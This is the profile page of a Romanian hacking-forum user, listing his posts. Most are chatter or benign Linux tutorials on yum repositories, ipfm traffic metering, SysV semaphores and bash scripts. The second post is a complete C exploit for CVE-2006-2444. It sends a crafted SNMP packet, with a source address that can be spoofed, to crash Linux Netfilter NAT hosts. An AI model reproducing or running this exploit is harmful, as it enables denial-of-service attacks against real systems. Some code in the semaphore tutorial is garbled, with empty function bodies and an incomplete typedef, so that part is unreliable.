Jump to content

zbeng

Active Members
  • Posts

    2402
  • Joined

  • Last visited

  • Days Won

    3

Everything posted by zbeng

  1. ce sa intamplat forumu a fost hackuit sau o schimbare de design
  2. /* * ecl-nf-snmpwn.c - 30/05/06 * * Alex Behar <alex@ecl-labs.org> * Yuri Gushin <yuri@ecl-labs.org> * * A patch review we did on the 2.6.16.17->18 Linux kernel source tree revealed * a restructuring of code in the snmp_parse_mangle() and the snmp_trap_decode() * functions. After further research it turned out to be a vulnerability * previously reported[1] and assigned with CVE-2006-2444. For more details, * the version change log. * * * * 1) [url]http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.18[/url] * * -- * Greets fly out to the ECL crew - Valentin Slavov, Dimityr Manevski. * To stranger, shrink, the Console Pimps crew (blexim, ex0, hugin, w00f, matt, * kyu, kbd and the rest), our favorite soldier boy Sagi Horev, the SigMIL crew, * izik, tanin00, and everyone else we left out. * * P.S. - blexim, how are your FACECRABS ???? )) * */ #ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include <stdio.h> #include <string.h> #include <time.h> #include <libnet.h> void banner(); void usage(char *); char pwnage[] = "x30x0ax02x01x00x04x03x45x43x4cxa4x00"; int main(int argc, char **argv) { char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l; int c; u_char *buf; int packet_len = 0; struct ip *IP; struct udphdr *UDP; u_int32_t src = 0, dst = 0; banner(); if (argc < 3) usage(argv[0]); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {  fprintf(stderr, "[!] libnet_init() failed: %s", errbuf);  exit(-1); } if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {  fprintf(stderr, "[!] Unresolved source address.n");  exit(-1); } if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {  fprintf(stderr, "[!] Unresolved destination address.n");  exit(-1); } if ((buf = malloc(IP_MAXPACKET)) == NULL) {  perror("malloc");  exit(-1); } UDP = (struct udphdr *)(buf + LIBNET_IPV4_H); packet_len = LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(pwnage) - 1; srand(time(NULL)); IP = (struct ip *) buf; IP->ip_v = 4; /* version 4 */ IP->ip_hl = 5; /* header length */ IP->ip_tos = 0; /* IP tos */ IP->ip_len = htons(packet_len); /* total length */ IP->ip_id = rand(); /* IP ID */ IP->ip_off = htons(0); /* fragmentation flags */ IP->ip_ttl = 64; /* time to live */ IP->ip_p = IPPROTO_UDP; /* transport protocol */ IP->ip_sum = 0; IP->ip_src.s_addr = src; IP->ip_dst.s_addr = dst; UDP->uh_sport = rand(); UDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161); UDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1); UDP->uh_sum = 0; memcpy(buf + LIBNET_IPV4_H + LIBNET_UDP_H, pwnage, sizeof(pwnage) - 1); libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packet_len - LIBNET_IPV4_H); if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1) {  fprintf(stderr, "[!] Write error: %sn", libnet_geterror(l));  exit(-1); } printf("[+] Packet sent.n"); libnet_destroy(l); free(buf); return (0); } void usage(char *cmd) { printf("[!] Usage: %s <source> <destination> [port]n", cmd); exit(-1); } void banner() { printf("ttNetfilter NAT SNMP module DoS exploitn"  "tt Yuri Gushin <yuri@ecl-labs.org>n"  "tt Alex Behar <alex@ecl-labs.org>n"  "ttt ECL Teamnnn"); } /* EoF */
  3. Me =Hacker de mierda xDDDD dc crezi ca hacker de mierda
  4. eu cred ca iti face xp sa mearga putin mai repede sau cel putin il avantajea
  5. Yum este un utilitar pentru managementul pachetelor RPM in distributiile Linux ce folosesc acest tip de pachete. Voi descrie crearea unui repositor yum pentru Fedora Core 2. Mai intai alegem si cream directorul de baza al repositorului , care va fi totodata si DocumentRoot pentru access prin web sau ftp la repositorul dat. In cazul de fata am ales /usr/local/yum [root@host]$ mkdir -p /usr/local/yum/fedora/linux/core/2/i386 Sincronizam repositorul cu unul existent, folosind rsync. Alegem din lista de mirror-uri - http://fedora.redhat.com/download/mirrors.html unul mai apropiat ( am ales distro.ibiblio.org ) , care suporta rsync si rulam : [root@host]$ rsync -azv --exclude /headers/ rsync://distro.ibiblio.org/fedora-linux-core/2/i386/os/Fedora/RPMS/ /usr/local/yum/fedora/linux/core/2/i386/ Excludem headerele, deoarece le vom crea mai tarziu . Dupa am hotarat sa adaug update-urile oficiale in acelasi repositor, deoarece nu vor mai fi modificari (pachete adaugate/sterse) in ele : [root@host]$ rsync -azv –exclude /headers/ rsync://distro.ibiblio.org/fedora-linux-core/updates/2/i386/ /usr/local/yum/fedora/linux/core/2/i386/ Yum functioneaza pe baza prelucrarii headerelor pachetelor RPM, create cu ajutorul yum-arch . Astfel statiile ce vor folosi acest repositor nu vor fi nevoite sa descarce fiecare RPM , ci numai headerele care contin meta informatii despre fiecare pachet. Pentru a crea headerele rulam: [root@host]$ yum-arch /usr/local/yum/fedora/linux/core/2/i386/ In continuare cream alt repositor , cu update-urile respecive de la Fedoralegacy : [root@host]$ mkdir -p /usr/local/yum/fedora/linux/core/updates/2/i386 Sincronizarea repositorului cu cel al fedoralegacy : [root@host]$ rsync -azv --exclude /debug/ --exclude /headers/ --exclude /repodata/ download.fedoralegacy.org::legacy/fedora/2/updates/i386/ /usr/local/yum/fedora/linux/core/updates/2/i386/ [root@host]$ yum-arch /usr/local/yum/fedora/linux/core/updates/2/i386/ Putem crea un cronjob care va automatiza procesul : #!/bin/sh EXCLUDE=" --exclude /debug/ --exclude /headers/ --exclude /repodata/ " /usr/bin/rsync -az $EXCLUDE download.fedoralegacy.org::legacy/fedora/2/updates/i386/ /usr/local/yum/fedora/linux/core/updates/2/i386/ /usr/bin/yum-arch /usr/local/yum/fedora/linux/core/updates/2/i386/ La fel, puteti adauga functii care vor verifica semnaturile GPG sau MD5 ale pachetelor descarcate , daca sunt disponibile. Configurarea clentilor: - instalarea yum [root@host]$ rpm -Uvh http://download.fedoralegacy.org/fedora/2/...-1.1.noarch.rpm - redactarea fisierului de configurare - /etc/yum.conf [base] name=Fedora Core $releasever - $basearch - Base baseurl=http://yum.domain.tld/fedora/linux/core/$releasever/$basearch/ [updates] name=Fedora Core $releasever - $basearch - Released Updates baseurl=http://yum.domain.tld/fedora/linux/core/updates/$releasever/$basearch/ Puteti crea un RPM pachet cu yum, prin recompilarea pachetului yum redactarea fisierului spec, astfel nu va fi nevoie sa modificati yum.conf pe fiecare sistem.
  6. mai hai sa terminam e o diferenta de la numele vostru la al nostr u 2 nu avem de gnd sa ne facem forum site canl radio canal mirc etc
  7. e un clan nu un forum cum nu sunt membru rhz team am facut un propiu clan duar atata
  8. hai ca nu glumim acuam cat gasiti locuri libere
  9. lasati cai bun si asta daca ramai fara maus
  10. zbeng

    Multi Trojani :p

    oooooo frumuasa lista
  11. interesant Shocker frumuasa explicatie
  12. zbeng

    Gaming

    Counter-Strike 1.6
  13. rap.reggeton, si ceva manele cand ma plictisesc
  14. ops o mica greseala mersi de sesizare Shocher
  15. e un tut dar e despre telefoane asa ca eu cred ca merge la mobil phones sa vedem ce zice un admin sau moderator
  16. Shocker fiecare cu ce poate
  17. este sectiunea Mobile phones daca nu vedeti cred ca ar trebui mutat tot topicul acolo
  18. sa cresti mare si sati mearga windows mai bine
  19. Acest tutorial se adreseaza celor care vor sa afle traficul facut de fiecare ip dintr-o retea de calculatoare. Inacest scop am ales ipfm(Internet Protocol Flow Meter), un alt program cu care puteti afla traficul per ip ar fi si iptraf, dar fiecare la randul lui Programul poate descarcat de pe site-ul celor de la freashmeat.net http://freshmeat.net/projects/ipfm/?topic_id=862 sau de pe pagina oficiala al producatorului http://robert.cheramy.net/ipfm/. Ultima versiune este 0.11.5. Tot pe pagina producatorului puteti gasi si pachetul si in format rpm sau tgz. Dupa ce ati downloadat programul (presupunem ca ati ales fisierul cu estensia tgz), il dezarhivati, intrati in directorul "ipfm-0.11.5", dupa care puteti incepe instalarea prin intermediul comenziile "./configure", "make" si "make install". Daca pana aici totul a decurs fara erori, atunci puteti trece la pasul urmatorul si anume configurarea. Fisierul de configurare se afla in directorul /usr/local/etc si are denumirea ipfm.conf. Acest fisier puteti sa il deschideti cu orice editor, in acest fisier veti gasi un exemplu de configurare. # Variabile globale IPfm-ul stie, din pacete sa monitorizeze un singur device(placa de retea), dar daca pe acea placa de retea aveti si interfete virtulae vor si ele monitorizate. Device-ul va fi precizat prin: DEVICE eth2 Toto in fisierul de configurare puteti preciza tipul de timp pe care sa il foloseasca, de exemplu UTC, aceasta comanda este optionala UTC # Configuratia propriuzisa ##### Prima configuratie##### Vom preciza tipul de ip-uri(subnetul) care va fi monitorizat LOG 192.168.0.0/255.255.0.0 Daca pe aceea interfata primimdate de la mai multe subneturi si nu dorim sa monitorizam pe unele dintre ele, de exemplu subnetul 10.0.0.0 vom folosi comanda: LOG NONE 10.0.0.0/255.0.0.0 Va trebui sa precizam calea unde ipfm-ul va scrie logul. In exemplu de mai josi va fi creat un director in fiecare zi, sub forma de an_zi_luna si un fisier la fiecare ora sub forma ora_minut. FILENAME "/var/log/ipfm/%Y_%d_%m/%H_%M" Logul va fi creat in fiecare ora DUMP EVERY 1 hour AFTER 5 minutes Contoarele programului vor fi resetate la 0 la fiecare 24 de ore. CLEAR EVERY 24 hour SORT IN RESOLVE In functie de acele loguri si de formatul lor pot fi generate si grafice folosint MRTG sau RRDTools, dar acest lucur poate intr-un alt email. Un alt program asemanator, dar care mai are cateva optiuni in plus se numeste: BW-IPFM (BandWith IP Flow Meter ) si poate fi descarcta de la adresa: http://bw.intellos.net/
  20. Semafoarele sunt una dintre metodele de comunicare inter-proces , un mod de a semnala unui proces producerea unui eveniment in alt proces. Pentru a putea folosi semafoare trebuie incluse headerele sys/sem.h, sys/ipc.h si sys/types.h . Pasii care trebuie urmati pentru a defini , initializa , folosi si , in final , distruge un semafor sunt urmatorii: 1) Definim o variabila de tip intreg; int id_semafor; 2) Luam (sau cream) semaforul; id_semafor=semget(IPC_PRIVATE, 1, 0777); Prototipul functiei semget este urmatorul: int semget(key_t key,int nsems,int semflg) - functia intoarce identificatorul pentru grupul cu nsems semafoare asociat cheii key; - daca cheia este IPC_PRIVATE sau cheia nu este IPC_PRIVATE dar semflg are setat bitul IPC_CREAT un nou grup de semafoare este creat; - semflg contine de asemenea drepturile de acces asociate semaforului (in exemplul anterior , 0777); - prezenta flagurilor IPC_CREAT si IPC_EXCL in semflg in acelasi timp va duce la esuarea apelului functiei semget; In caz de succes functia intoarce un numar pozitiv care reprezinta id-ul semaforului si in caz de eroare -1 3) Daca este nou creat , vrem sa setam valoarea initiala a semaforului (de obicei este 1 , dar i se poate da orice valoare) - pentru asta s-ar putea sa avem nevoie sa definim o structura (semun) astfel #if defined(__GNU_LIBRARY) && !defined(_SEM_SEMUN_UNDEFINED) //semun e deja definit #else //definim semun typedef union semun; #endif semun value; value.val=1; semctl(semidscr, 0, SETVAL, value); Prototipul functiei semctl: int semctl(int semid,int semnum,int cmd,union semun arg) - functia executa operatia indicata de cmd asupra setului de semafoare indicat de semid , asupra semaforului semnum din set (primul are indicele 0) folosind arg pentru asta - in cazul exemplului de mai sus , se seteaza valoarea din value la semaforul 0 din setul indicat de semafoul nou creat - pentru mai multe informatii legate de parametrii functiei , man semctl 4) Vrem sa folosim semaforul ( de obicei pentru sincronizari intre procese) - exista 2 operatii care se folosesc uzual asupra unui semafor pentru asta , si au numele consacrate:Down si up (sau U si V) - down va incerca sa scada 1 din valoarea semaforului - up va adauga 1 la valoarea semaforului - uzual , daca un proces incearca sa faca down pe un semafor care are valoarea 0 , se va bloca acolo pana cand alt proces va face up pe acelasi semafor ATENTIE: - daca se folosesc threaduri , in momentul in care unul din threaduri face down pe un semafor cu valoarea 0 , intreg procesul se va bloca , adica TOATE THREADURILE pornite de acel proces - pentru sincronizare intre threaduri vor trebui folosite mijloace dedicate; Functiile down si up: void down(int semid,short flags) } void up(int semid,short flags) } Prototipul functiei semop: int semop(int semid,struct sembuf *sops,unsigned nsops) - nsops se foloseste pentru a specifica numarul de operatii care trebuiesc efectuate (in sops va trebui sa se gaseasca un vector) - daca flags contine IPC_NOWAIT , procesul nu se va bloca daca valoarea din semaforul asupra caruia vrea sa faca operatia si apelul va intoarce -1 - daca flags contine IPC_UNDO , toate operatiile vor fi undone cand procesul se termina; 5) Dupa ce ne jucam cu semaforul , vrem sa-l distrugem semctl(id_semafor, 0, IPC_RMID, NULL); - apelam functia semctl cu parametrul cmd IPC_RMID Semafoarele sunt resurse sistem , trebuie distruse cand nu mai sunt folosite , altfel vor continua sa ocupe resursele sistemului. Pentru a vedea toate resursele IPC care sunt active la un moment dat in sistem , puteti folosi comanda ipcs din consola. Resursele(semafoare,cozi de mesaje,memoria partajata) pot fi distruse si direct din consola cu comanda ipcrm. Folositi man ipcs si man ipcrm pentru mai multe detalii.
  21. Bash este un limbaj de scripting compatibil cu comenzile de shell care poate fi executat fie din input-ul standard fie dintr-un fisier. Scripturile bash sunt de fapt niste fisiere text pe care le faci executabile, aceste fisiere putand fi editate cu orice editor de text. Aceste scripturi sunt folosite pentru a executa comenzi simple sau complexe fara a le mai scrie mereu. Exista si optiunea de rula aceste scripturi la ce ora dorim cu ajutorul crontab, dar acest lucru in alt tutorial. Toate scripturile bash trebuie sa spuna sitemului de operare ce interpretor folosesc. Astfel prima linie a unui script bash trebuie sa fie: #! /bin/sh Scripturile bash trebuiesc facute executabile. Acest lucru se face cu : chmod +x numescript -------------------------------------------------------------------------------- Script pentru backup Aici este un script care face backup la directorul /etc #! /bin/sh tar -cpvzf /home/backup/backup-`date +"%b%d%y"`.tgz /etc Scriptul va creea o arhiva numita "backup-datacreeri.tgz" in directorul /home/backup pe care l-am creat anterior Poti schimba /etc cu orice alt director la care vrei sa faci backup sa sa adaugi alte directorare dupa /etc, ca de exemplu: *.tgz /etc /root . Acest script trebuie rulat ca root. Daca vrei sa stii ce inseamna fiecare dintre optiunile -cpvzf deschide o consola si da comanda : tar -help -------------------------------------------------------------------------------- Script de shutdown Mai jos se gaseste un script care da shutdown la computer. Apoi se creaza un fisier executabil si este plasat in directorul /usr/bin . Urmatorul pas ar putea fi crearuea unui link catre /usr/bin/shutdown in Menu cu ajutoruk kmenuedit, si computerul poate fi stins cu ajutorul unui click de mouse. #! /bin/sh init 0 (Pentru reboot se foloseste comanda init 6) Script pentru reinnoirea IP-ului? Mai jos gasim un script putin mai complicat. Acesta restareteaza interfata eth0. #! /bin/sh if ifup eth0; then exit 1 else ifdown eth0 echo "done" exit 0 fi
×
×
  • Create New...